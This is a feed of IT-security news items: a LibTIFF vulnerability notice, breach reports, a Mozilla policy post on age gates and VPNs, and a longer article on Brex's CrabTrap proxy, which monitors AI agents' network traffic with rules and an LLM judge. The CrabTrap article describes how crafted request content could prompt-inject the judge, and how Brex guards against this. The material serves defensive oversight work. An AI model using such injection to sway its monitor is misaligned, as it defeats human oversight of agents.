<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/libtiff">LibTIFF 4.4.0</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. The impacted element is the function <code>_TIFFmemcpy</code> of the file <em>libtiff/tif_unix.c</em> of the component <em>TIFF File Handler</em>. Executing a manipulation can lead to out-of-bounds write.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2022-3627">CVE-2022-3627</a>. The attack can be executed remotely. There is not any exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Marine Energy: Electronics overboard! (emf2026)]]></title>
<description><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the...]]></description>
<link>https://tsecurity.de/de/3677051/it-security-video/marine-energy-electronics-overboard-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677051/it-security-video/marine-energy-electronics-overboard-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 23:17:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the power available at sea - including some examples of how that works (or doesn't) in practice from prototype testing and research. Featuring specialised instrumentation with a hefty price tag, some rather more DIY Arduino and Raspberry Pi solutions - and reluctant use of a grappling hook.

Examples drawn from work carried out while employed at Swansea University, with permission.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/150-marine-energy-electronics-overboard]]></content:encoded>
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<title><![CDATA[Marine Energy: Electronics overboard! (emf2026)]]></title>
<description><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the...]]></description>
<link>https://tsecurity.de/de/3677041/it-security-video/marine-energy-electronics-overboard-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677041/it-security-video/marine-energy-electronics-overboard-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 23:03:15 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the power available at sea - including some examples of how that works (or doesn't) in practice from prototype testing and research. Featuring specialised instrumentation with a hefty price tag, some rather more DIY Arduino and Raspberry Pi solutions - and reluctant use of a grappling hook.

Examples drawn from work carried out while employed at Swansea University, with permission.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/150-marine-energy-electronics-overboard]]></content:encoded>
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<title><![CDATA[How does your company prevent developers from accidentally sharing confidential data with AI tools?]]></title>
<description><![CDATA[AI tools like ChatGPT, Claude, Gemini, and Copilot have become part of many developers’ daily workflow. I’m curious how companies are handling the risk of accidentally sharing sensitive information such as: 1. API keys 2. Access tokens 3. Internal source code 4. Customer data 5. Production config...]]></description>
<link>https://tsecurity.de/de/3676951/it-security-nachrichten/how-does-your-company-prevent-developers-from-accidentally-sharing-confidential-data-with-ai-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676951/it-security-nachrichten/how-does-your-company-prevent-developers-from-accidentally-sharing-confidential-data-with-ai-tools/</guid>
<pubDate>Fri, 17 Jul 2026 22:08:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>AI tools like ChatGPT, Claude, Gemini, and Copilot have become part of many developers’ daily workflow.</p> <p>I’m curious how companies are handling the risk of accidentally sharing sensitive information such as: 1. API keys 2. Access tokens 3. Internal source code 4. Customer data 5. Production configs 6. Internal documentation</p> <p>Does your company, 1. Have a formal policy? 2. Use DLP or browser security tools? 3. Block certain AI tools? 4. Rely on developer awareness?</p> <p>I’d love to hear what’s actually working in practice.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/ranjith_snifty1"> /u/ranjith_snifty1 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1uyandk/how_does_your_company_prevent_developers_from/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uyandk/how_does_your_company_prevent_developers_from/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[EY discloses third-party support platform breach exposing client tax information]]></title>
<description><![CDATA[EY has disclosed a breach involving a third-party support platform used within its tax practice, resulting in unauthorized access to client tax information stored in support case    submitted by    /u/NapierPalm   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3676948/it-security-nachrichten/ey-discloses-third-party-support-platform-breach-exposing-client-tax-information/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676948/it-security-nachrichten/ey-discloses-third-party-support-platform-breach-exposing-client-tax-information/</guid>
<pubDate>Fri, 17 Jul 2026 22:08:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<table> <tr><td> <a href="https://www.reddit.com/r/security/comments/1uz74fr/ey_discloses_thirdparty_support_platform_breach/"> <img src="https://external-preview.redd.it/4SChjyo4-PtSYOZY7RJ8ybdnvKfkrLtT2x5Ag4XxtOE.jpeg?width=640&amp;crop=smart&amp;auto=webp&amp;s=735da294147565c4bd8f1e10a902746417a30a57" alt="EY discloses third-party support platform breach exposing client tax information" title="EY discloses third-party support platform breach exposing client tax information"> </a> </td><td> <!-- SC_OFF --><div class="md"><p>EY has disclosed a breach involving a third-party support platform used within its tax practice, resulting in unauthorized access to client tax information stored in support case</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/NapierPalm"> /u/NapierPalm </a> <br> <span><a href="https://thecybersecguru.com/news/ey-data-breach-client-tax-information-third-party-hack/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uz74fr/ey_discloses_thirdparty_support_platform_breach/">[comments]</a></span> </td></tr></table>]]></content:encoded>
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<title><![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]></title>
<description><![CDATA[OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents w...]]></description>
<link>https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://venturebeat.com/security/openclaw-500000-instances-no-enterprise-kill-switch">OpenClaw</a> has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.</p><p>Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The <a href="https://www.brex.com/journal/building-crabtrap-open-source">open-source HTTP/HTTPS proxy</a> intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. </p><p>“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”</p><p>The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.</p><h2>How Brex targeted the transport layer</h2><p>The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. </p><p>“Any <a href="https://venturebeat.com/orchestration/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models">agentic system</a> with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. </p><p>Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.</p><p>Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.</p><p>Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”</p><p>“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”</p><p>Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. </p><p>This made the transport layer a core architectural component and natural starting point, he said. </p><p>By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set <i>HTTP_PROXY</i> and <i>HTTPS_PROXY</i> in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.</p><p>However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”</p><p>“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. </p><h2>The LLM-as-a-judge training loop</h2><p>CrabTrap combines deterministic static rules with an <a href="https://venturebeat.com/infrastructure/monitoring-llm-behavior-drift-retries-and-refusal-patterns">LLM-as-a-judge</a> for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.</p><p>The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.</p><p>“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”</p><p>Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. </p><p>From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. </p><p>All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. </p><p>“That closes the loop between observed denials and policy refinement,” Franceschi said. </p><h2>Core challenges and roadblocks </h2><p>Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. </p><p>However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said. </p><p>The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. </p><p>Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. </p><h2>Results, and where CrabTrap might evolve</h2><p>Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. </p><p>Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. </p><p>“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. </p><p>Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”</p><p>Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.</p><p>“The proxy became a discovery tool, not just an enforcement one,” he said. </p><h2>Areas for growth (and input from the open-source community)</h2><p>Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. </p><p>Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.</p><p>Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. </p><p>As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. </p><p>“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. </p><p>Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. </p><p>Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it). </p><p>The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”</p><p>“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. </p><h2>What other builders can learn from CrabTrap</h2><p>The response has been stronger than expected. <a href="https://github.com/brexhq/CrabTrap">CrabTrap has more than 700 stars on GitHub</a>. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.</p><p>The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. </p><p>“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”</p>]]></content:encoded>
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<title><![CDATA[When Patching Is Already Too Late]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:16 The discussion makes a bold claim: many organizations no longer have enough time to patch before attackers compromise vulnerable systems.

Instead of treating prevention as the primary strategy, the emphasis shifts toward detecti...]]></description>
<link>https://tsecurity.de/de/3676308/it-security-video/when-patching-is-already-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676308/it-security-video/when-patching-is-already-too-late/</guid>
<pubDate>Fri, 17 Jul 2026 16:19:12 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:16 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/vqzhfsVUgAg?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The discussion makes a bold claim: many organizations no longer have enough time to patch before attackers compromise vulnerable systems.<br />
<br />
Instead of treating prevention as the primary strategy, the emphasis shifts toward detecting intrusions quickly and responding before attackers can cause significant damage.<br />
<br />
This doesn't mean patching is unimportant—it remains a fundamental security practice. The point is that patching alone may not be sufficient against fast-moving threats. Organizations also need strong monitoring, detection, and incident response to reduce the impact when prevention falls short.<br />
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Security today is increasingly about resilience, not just prevention.<br />
<br />
Has cybersecurity reached the point where detection and response deserve as much attention as prevention?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#IncidentResponse #PatchManagement #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[Mozilla Privacy Blog: Beyond technical fixes: Protecting kids online without breaking the internet]]></title>
<description><![CDATA[This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. 
Young people ...]]></description>
<link>https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:44 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. </i></p>
<p>Young people today have unprecedented opportunities to learn, connect, and explore — not just the web and the world, but also themselves. With the increased ubiquity of digital technologies and devices, worries around the <a href="https://www.nature.com/articles/s41562-018-0506-1">relationship between these technologies and young people’s well-being</a> have grown, too. While concerns about the societal implications of new technologies is <a href="https://journals.sagepub.com/doi/10.1177/1745691620919372">not a new phenomenon</a>, <a href="https://www.science.org/doi/10.1126/science.adt6807">experts argue</a> that the accelerating speed of deployment of new technologies has outpaced scientists’ capacity to feed into policy recommendations addressing risks. A growing body of research <a href="https://osf.io/preprints/psyarxiv/m38u6_v2">documents</a> the harms experienced by young people online and the challenges <a href="https://ijse.padovauniversitypress.it/2024/1/8">reported</a> by parents attempting to mediate their kids’ technology use. At the same time, experts highlight the importance of contextual factors like <a href="https://www.nature.com/articles/s41562-025-02134-4">existing mental health conditions</a>, <a href="https://onlinelibrary.wiley.com/doi/full/10.1002/jad.12193">socio-economic circumstances</a> and <a href="https://www.sciencedirect.com/science/article/pii/S0747563224000244">parental mediation</a> to understand the real-world effects of digital technologies.</p>
<p>Faced with this complexity, and mounting public pressure, policymakers around the world are urgently seeking ways to improve child safety online. Driven by a sense of time running out and promises of new <a href="https://www.schneier.com/blog/archives/2026/05/laurie-anderson-is-quoting-me.html">technical solutions</a> to difficult questions, this has led, <a href="https://avpassociation.com/map/">across jurisdictions</a>, to proposals to restrict young people’s access to certain technologies or platforms by introducing age assurance mandates.</p>
<p>Privacy and user empowerment have always formed a core part of Mozilla’s mission. As <a href="https://blog.mozilla.org/netpolicy/2025/12/19/australias-social-media-ban-why-age-limits-wont-fix-what-is-wrong-with-online-platforms/">we have said before</a>, we support safer spaces for minors, but we caution against approaches that rely on identity checks, surveillance-based enforcement, or exclusionary defaults. Such interventions rely on the collection of personal and sensitive data and, thus, introduce major new privacy and security risks.</p>
<p>While many technologies exist to verify, estimate, or infer users’ ages, fundamental tensions around accessibility, their effectiveness and effects on user’s privacy, security and free expression <a href="https://kgi.georgetown.edu/wp-content/uploads/2026/01/Age_Assurance_Online_Technical-Assessment_Report_KGI.pdf">remain</a>. Technological approaches must be part of wider efforts to address the root causes of online harms. However, the deployment of age assurance technologies will not solve the complex challenge of preparing young people to navigate an increasingly online world and ensure their wellbeing. That will require more holistic approaches: offering education and support to navigate the web safely, addressing harmful business practices and acknowledging the offline factors shaping children’s lives including social inequality, poverty or disparate access to (mental) health care services.</p>
<p><em><b>Ineffective age-gating mandates and the dangerous shift toward VPN restrictions</b></em></p>
<p>As jurisdictions around the world gain experience with government-mandated age gates for certain services, evidence is mounting that age restrictions are not an effective policy tool. Avoiding age gates is widespread and trivially easy: In Australia, where minors under 16 year of age have been banned from certain social media platforms since December 2025, the government’s Compliance Update <a href="https://www.esafety.gov.au/sites/default/files/2026-03/SocialMediaMinimumAgeComplianceUpdateMarch2026.pdf?v=1775600939713">reports</a> that seven out of ten young Australians remain online, often skirting age checks by simply entering a fake birthdate. A recent <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">study</a> on the implementation of the UK’s Online Safety Act found that a third of children have bypassed age gates with fairly trivial steps like faking their birthdate, borrowing someone else’s login credentials, or even drawing on facial hair, and that a quarter of parents have helped their children to bypass age assurance systems. In the US, <a href="https://www.ftc.gov/sites/default/files/documents/public_comments/massachusetts-00243%C2%A0/00243-82161.pdf">studies</a> indicate that as far back as 2011, 64% of parents who were aware their child under 13 had a social media account were also ones who helped them create that account.</p>
<p>Confronted with the apparent ineffectiveness of age gates, policymakers around the world seem to be shifting their attention to alleged circumvention tools. While <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">research</a> shows that many young people bypass age barriers by using other people’s devices and accounts or tricking age estimation tools by making themselves look older, virtual private networks (VPNs) are <a href="https://www.europarl.europa.eu/RegData/etudes/ATAG/2026/782618/EPRS_ATA(2026)782618_EN.pdf">increasingly</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">framed</a> as primarily a “loophole” to age gates. VPNs create encrypted “tunnels” between a user’s device and the internet, protecting all internet traffic from that device and concealing users’ IP addresses. VPNs are an essential privacy and security resource for millions of users worldwide, <a href="https://home.crin.org/the-big-debates/vpns-for-children">including young people</a>.</p>
<p><a href="https://www.eff.org/deeplinks/2026/04/utahs-new-law-regulating-vpns-goes-effect-next-week">Utah’s recent age verification law</a> holds websites hosting age-restricted content liable for verifying the age of anyone physically located in Utah, including individuals using VPNs or proxies. While the law does not ban VPNs outright, it forces websites to either block known VPN IP addresses or verify the age of every visitor globally. In the UK, policymakers <a href="https://www.bbc.com/news/articles/c9824zvpz9po">debated</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">age gates</a> for VPNs extensively, but <a href="https://www.bbc.com/news/articles/c982857nlrlo">stopped short</a> of restricting VPNs after <a href="https://www.gov.uk/government/publications/childrens-circumvention-behaviours-online?utm_medium=email&amp;utm_campaign=govuk-notifications-topic&amp;utm_source=97439257-1368-42dd-835e-2ecc1f690097&amp;utm_content=immediately">new evidence</a> <a href="https://vpntrust.net/2026/07/08/new-yougov-research-finds-vpns-are-not-widely-used-by-children-to-avoid-age-checks/?msg_pos=1">confirmed</a> that VPNs are not a relevant pathway for children seeking to bypass age checks. In Brazil, the ECA Digital law <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2026/decreto/d12880.htm">empowers</a> the regulatory authority to order technical countermeasures against circumvention tools such as VPNs. These developments suggest a worrying trend: well-meaning but ineffective attempts to protect children risk undermining the fundamental rights to privacy, security, and free expression of all users, as well as the health and openness of the web itself.</p>
<p>We are convinced, however, that there are rights-respecting alternatives policymakers can pursue to empower young people online and improve their safety and well-being.</p>
<p><em><strong>Moving beyond access bans</strong></em></p>
<p>We strongly believe that online safety frameworks should be grounded in <a href="https://www.unicef.org/innovation/stories/protecting-childrens-rights-in-digital-environments">children’s rights</a>, striking a balance between their right to protection and their right to participate in society, express themselves freely, and access media and information. Such frameworks must also be proportionate and should not undermine the fundamental rights and access to tools like VPNs for all users.</p>
<p>Rather than focusing on limiting access, we believe that policymakers should prioritize interventions that tackle the root causes of online harm. Before considering new instruments, this work starts with ensuring that independent regulatory authorities have the necessary resources to enforce existing online safety frameworks. In Europe, preliminary findings against <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1579">Meta</a> and <a href="https://digital-strategy.ec.europa.eu/en/news/commission-preliminarily-finds-tiktoks-addictive-design-breach-digital-services-act">TikTok</a> find these companies’ addictive design features to be in breach of the Digital Services Act, underlining the potential of frameworks like the DSA to address key concerns.</p>
<p>The design of online interfaces, and the affordances and constraints they offer, significantly influences users’ interactions, decisions and overall wellbeing. ‘Dark patterns’ or deceptive interfaces are key drivers of harms experienced by users, and especially young people: they can compel people to consent to extensive data collection and processing, resulting in hyper-personalized feeds, personalized ads that may exploit cognitive vulnerabilities and promote unhealthy or excessive consumer choices, and an overall erosion of privacy.</p>
<p>This is why we support proposals like <a href="https://blog.mozilla.org/netpolicy/2025/10/31/pathways-to-a-fairer-digital-world-mozilla-shares-views-on-the-eu-digital-fairness-act/">EU Digital Fairness Act (DFA) </a>and the <a href="https://blog.mozilla.org/netpolicy/2026/06/11/a-handful-of-companies-control-the-web-aicoa-can-change-that/">American Innovation and Choice Online Act (AICOA)</a> that could fill regulatory gaps. Specifically, we advocate for the <b>prohibition of harmful design</b>, guided by harmonized definitions of core concepts like “dark patterns”, “deceptive design,” and “addictive design” and anti-circumvention clauses to prevent companies from avoiding regulation through small tweaks. Platforms should be responsible for demonstrating that their design choices are fair, non-manipulative and non-exploitative. And services that are likely to be accessed by children should be required to refrain from enabling certain design features, including excessive notifications, endless feeds and gambling-like features by default, and only with parental consent.</p>
<p>Further, we urge policymakers to adopt a <b>privacy-first approach to online harms</b>. Many of the risks encountered by young people online are related to the collection and processing of personal data. Platforms collect enormous amounts of personal data, including sensitive data, to personalize and target services, ranging from algorithmic recommender systems to online ads. While the systems that target and display ads and curate online content are distinct, both are based on the surveillance and profiling of users.</p>
<p>Such profiling is the basis for young people being targeted with personalized ads and content recommendations, which can segment, exclude, or steer people into inequitable options and towards harmful content. Providers should thus be prohibited from using sensitive personal data (e.g. ethnicity, religious belief, health status, sexual orientation, political affiliation) to personalize content recommendations or ads, and they should be mandated to enable privacy-protective settings by default, including restricting access to users’ location, camera, microphone, contacts, and camera roll. Policymakers should also extend the fairness and transparency obligations to personalization systems and advertising actors, including intermediaries and data brokers.</p>
<p>Additionally, everyone online, including families and young people, should be fully in control of their online experiences and navigate the web according to their preferences and needs. There is a significant opportunity to <b>empower users with easy, effective opt-out rights and granular user controls</b>. In practice, users should have the right to opt out of personalized content and targeting without being penalized with a downgraded version of the service. Some frameworks already strengthen choice – in those cases, we advocate for their robust enforcement.</p>
<p>Across jurisdictions, choice can be strengthened by ensuring that preferences explicitly expressed (e.g. settings selected, feedback signals, customization choices made, survey responses) are respected and “sticky”, so do not get reset without being explicitly requested by the user. Interoperability mandates should let people integrate third-party content moderation systems or recommendation algorithms that better match their preferences and help them break out of the walled gardens of a few dominant companies. Parental controls are another important lever to operationalize user controls: Providers should deploy easy-to-use and effective parental controls that allow families to tailor online experiences to their preferences, across platforms.</p>
<p>We appreciate that this is a long list of complex policy recommendations which are also impacted by broader (geo)political developments. The fact remains that current age assurance approaches are not a silver bullet, and will create more, rather than solve, problems in the long term.</p>
<p>Where policymakers consider age signals as necessary to ensure age-appropriate online experiences, we believe that there are technical approaches better suited to balance users’ rights than those currently pursued. We will explore these developments and approaches in the second part of this series.</p>
<p>The post <a href="https://blog.mozilla.org/netpolicy/2026/07/17/beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/">Beyond technical fixes: Protecting kids online without breaking the internet </a> appeared first on <a href="https://blog.mozilla.org/netpolicy">Open Policy &amp; Advocacy</a>.</p>]]></content:encoded>
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<title><![CDATA[EY says client tax data exposed in third-party IT software breach]]></title>
<description><![CDATA[Ernst & Young (EY) is notifying affected individuals that personal and financial information was exposed after attackers breached a third-party IT service management platform used by the firm's tax practice. The professional services giant says the incident resulted in unauthorized access to docu...]]></description>
<link>https://tsecurity.de/de/3675803/it-security-nachrichten/ey-says-client-tax-data-exposed-in-third-party-it-software-breach/</link>
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<pubDate>Fri, 17 Jul 2026 12:52:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ernst &amp; Young (EY) is notifying affected individuals that personal and financial information was exposed after attackers breached a third-party IT service management platform used by the firm's tax practice. The professional services giant says the incident resulted in unauthorized access to documents belonging to multiple tax clients, though it has not found evidence that …</p>
<p>The post <a href="https://cyberinsider.com/ey-says-client-tax-data-exposed-in-third-party-it-software-breach/">EY says client tax data exposed in third-party IT software breach</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
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<title><![CDATA[The build vs. buy dilemma at the heart of enterprise AI]]></title>
<description><![CDATA[For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.



AI is introducing a wrin...]]></description>
<link>https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.</p>



<p class="wp-block-paragraph">AI is introducing a wrinkle that is forcing even the most committed enterprise software customers to rethink their options. AI is a layer that sits across your data, your processes, and your decisions. Where that layer runs and who controls it is an architecture question, and most of the enterprise community is still treating it as a procurement one.</p>



